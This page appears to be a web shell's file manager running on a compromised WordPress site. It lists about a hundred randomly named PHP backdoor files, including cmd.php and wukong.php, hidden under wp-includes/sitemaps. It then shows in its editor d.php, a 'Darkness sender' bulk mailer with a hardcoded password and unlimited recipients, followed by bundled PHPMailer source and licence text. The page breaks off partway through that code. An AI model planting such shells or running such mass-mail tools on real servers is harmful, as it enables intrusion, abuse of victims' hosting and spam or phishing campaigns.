/
home
/
vianto5
/
heredit.mx
/
wp-includes
/
sitemaps
/
knjzdar
/
etikmjv
/
fsariey
/
/home/vianto5/heredit.mx/wp-includes/sitemaps/knjzdar/etikmjv/fsariey
mkdir
upload
Name
Size
Mode
Actions
404HLV/
-
0755
rm
configZKB/
-
0755
rm
allaufzg.php
18962
0644
edit
dl
rm
axmdtcpt.php
18962
0644
edit
dl
rm
ayefphud.php
220881
0644
edit
dl
rm
bamvavxc.php
18962
0644
edit
dl
rm
bmrigria.php
18962
0644
edit
dl
rm
bwybvoqw.php
18962
0644
edit
dl
rm
cchrrkam.php
15114
0644
edit
dl
rm
ckwwjhnw.php
18962
0644
edit
dl
rm
cmd.php
173275
0444
edit
dl
rm
cpubyvbr.php
18962
0644
edit
dl
rm
ctvtxind.php
18962
0644
edit
dl
rm
d.php
333701
0644
edit
dl
rm
dkgbavqn.php
18962
0644
edit
dl
rm
dkhynase.php
18962
0644
edit
dl
rm
dmuetqhi.php
15114
0644
edit
dl
rm
dsiailzi.php
18962
0644
edit
dl
rm
eosganyy.php
18962
0644
edit
dl
rm
epvbrlur.php
18962
0644
edit
dl
rm
flllxfac.php
18962
0644
edit
dl
rm
fnbwqzqa.php
18962
0644
edit
dl
rm
fpfmoctm.php
18962
0644
edit
dl
rm
fsuyctsn.php
15114
0644
edit
dl
rm
gabzycbq.php
18962
0644
edit
dl
rm
gdppozsn.php
18962
0644
edit
dl
rm
geqgdmjc.php
18962
0644
edit
dl
rm
givalhwb.php
15114
0644
edit
dl
rm
gpvleqde.php
15114
0644
edit
dl
rm
gunawan.php
63419
0644
edit
dl
rm
hbaroqek.php
18962
0644
edit
dl
rm
hbqqllrr.php
15114
0644
edit
dl
rm
hlsditam.php
18962
0644
edit
dl
rm
hoowitlz.php
18962
0644
edit
dl
rm
iibsbbhq.php
15114
0644
edit
dl
rm
index.php
36365
0444
edit
dl
rm
irhjzjjx.php
18962
0644
edit
dl
rm
ixtkcnmx.php
18962
0644
edit
dl
rm
jivdcykh.php
18962
0644
edit
dl
rm
jvxctvgk.php
18962
0644
edit
dl
rm
jyjvoyoc.php
18962
0644
edit
dl
rm
kesizwmb.php
18962
0644
edit
dl
rm
kttpqrxo.php
18962
0644
edit
dl
rm
ktzrdetz.php
172639
0644
edit
dl
rm
kuciadhh.php
18962
0644
edit
dl
rm
lffoibup.php
18962
0644
edit
dl
rm
lhmahaha.php
18962
0644
edit
dl
rm
lmbhzjdc.php
18962
0644
edit
dl
rm
ltqakdvz.php
18962
0644
edit
dl
rm
mfupwhdj.php
18962
0644
edit
dl
rm
msghblcu.php
18962
0644
edit
dl
rm
nrikdkib.php
18962
0644
edit
dl
rm
nuecnoqv.php
18962
0644
edit
dl
rm
nvawvozg.php
15114
0644
edit
dl
rm
nyajtfav.php
18962
0644
edit
dl
rm
nybbdpbz.php
18962
0644
edit
dl
rm
php.ini
105
0644
edit
dl
rm
pigrnmny.php
18962
0644
edit
dl
rm
pktmxtjp.php
18962
0644
edit
dl
rm
pqhonxqq.php
18962
0644
edit
dl
rm
pyilhhen.php
18962
0644
edit
dl
rm
qjnikcfo.php
18962
0644
edit
dl
rm
qwtooxyl.php
15114
0644
edit
dl
rm
rfrrwkqu.php
18962
0644
edit
dl
rm
skllmbpm.php
18962
0644
edit
dl
rm
stnnvzsv.php
18962
0644
edit
dl
rm
sxkoigdm.php
18962
0644
edit
dl
rm
sydapaof.php
18962
0644
edit
dl
rm
sznnpbhe.php
18962
0644
edit
dl
rm
tawklcca.php
18962
0644
edit
dl
rm
tctuhxqg.php
18962
0644
edit
dl
rm
tesTlbj.php
736
0644
edit
dl
rm
thwkpsaw.php
18962
0644
edit
dl
rm
ttenexzw.php
18962
0644
edit
dl
rm
ufmqnmot.php
18962
0644
edit
dl
rm
ujcnfrxr.php
18962
0644
edit
dl
rm
unZIPpeRiyy.php
19976
0644
edit
dl
rm
uussvocd.php
15114
0644
edit
dl
rm
uxkvkvgy.php
15114
0644
edit
dl
rm
vduewpdv.php
18962
0644
edit
dl
rm
vgbedjzz.php
18962
0644
edit
dl
rm
vkyzmdiy.php
18962
0644
edit
dl
rm
vljmniwv.php
18962
0644
edit
dl
rm
vtihblfa.php
18962
0644
edit
dl
rm
wukong.php
69361
0644
edit
dl
rm
wxhgmtrp.php
15114
0644
edit
dl
rm
xdtiizsi.php
18962
0644
edit
dl
rm
xhyzepva.php
18962
0644
edit
dl
rm
xjvjjvwl.php
18962
0644
edit
dl
rm
xnoowavq.php
18962
0644
edit
dl
rm
xxmlljtr.php
18962
0644
edit
dl
rm
yhcowcbf.php
18962
0644
edit
dl
rm
ypymdmbe.php
15114
0644
edit
dl
rm
yuatmrzy.php
18962
0644
edit
dl
rm
zzdwfqcd.php
18962
0644
edit
dl
rm
Edit:
/home/vianto5/heredit.mx/wp-includes/sitemaps/knjzdar/etikmjv/fsariey/d.php
(333701B)
<?php declare(strict_types=1); /** * Darkness sender — self-contained PHP mail() application. * Upload this file and open its HTTPS URL. Sign in with your existing password. * Start a test/batch to send automatically while the page stays open. * Needs standard PHP 7.4+ with working sessions and mail(); no additional install. * Use a currently supported PHP release supplied by your cPanel host. * Queue/history are session-only, with no application idle timeout. * Accepted means local transport acceptance, not inbox confirmation. * Settings are below. PHPMailer source is bundled with its original notices. * Bundling changes: PHP opening tags and unbracketed namespaces were * replaced by one bracketed namespace. No library logic was altered. */ namespace { // Same access password as the original tool. Change this literal to rotate it. $password = 'KCTM5FrhdaS'; // SETTINGS: the existing password is inserted above this block by the build. $defaultFromEmail = ''; // Optional: set your server's sender address here. $defaultFromName = 'Darkness sender'; $requireHttps = true; $maxRecipients = 0; // No application recipient-count cap; PHP request/memory limits still apply. $sendDelaySeconds = 36.0; // Minimum gap between email starts, shared across all threads. $sendThreads = 1; // Concurrent PHP mail handoffs (1 to 32); hosting limits still apply. $maxAttachmentBytes = 5 * 1024 * 1024; $maxMessageBytes = 256 * 1024; } /* GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it! */ namespace PHPMailer\PHPMailer { /** * PHPMailer Exception class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer exception handler. * * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class Exception extends \Exception { /** * Prettify error message output. * * @return string */ public function errorMessage() { return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n"; } } /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; const RFC822_DATE_FORMAT = 'D, j M Y H:i:s O'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-Type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = ''; /** * The From name of the message. * * @var string */ public $FromName = ''; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see https://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Content-Type header "text/calendar" * * @var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "<id@domain>", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://www.rfc-editor.org/rfc/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2. * If not specified, the first one from that list that the server supports will be selected. * * @var string */ public $AuthType = ''; /** * SMTP SMTPXClient command attributes * * @var array */ protected $SMTPXClient = []; /** * An implementation of the PHPMailer OAuthTokenProvider interface. * * @var OAuthTokenProvider */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's 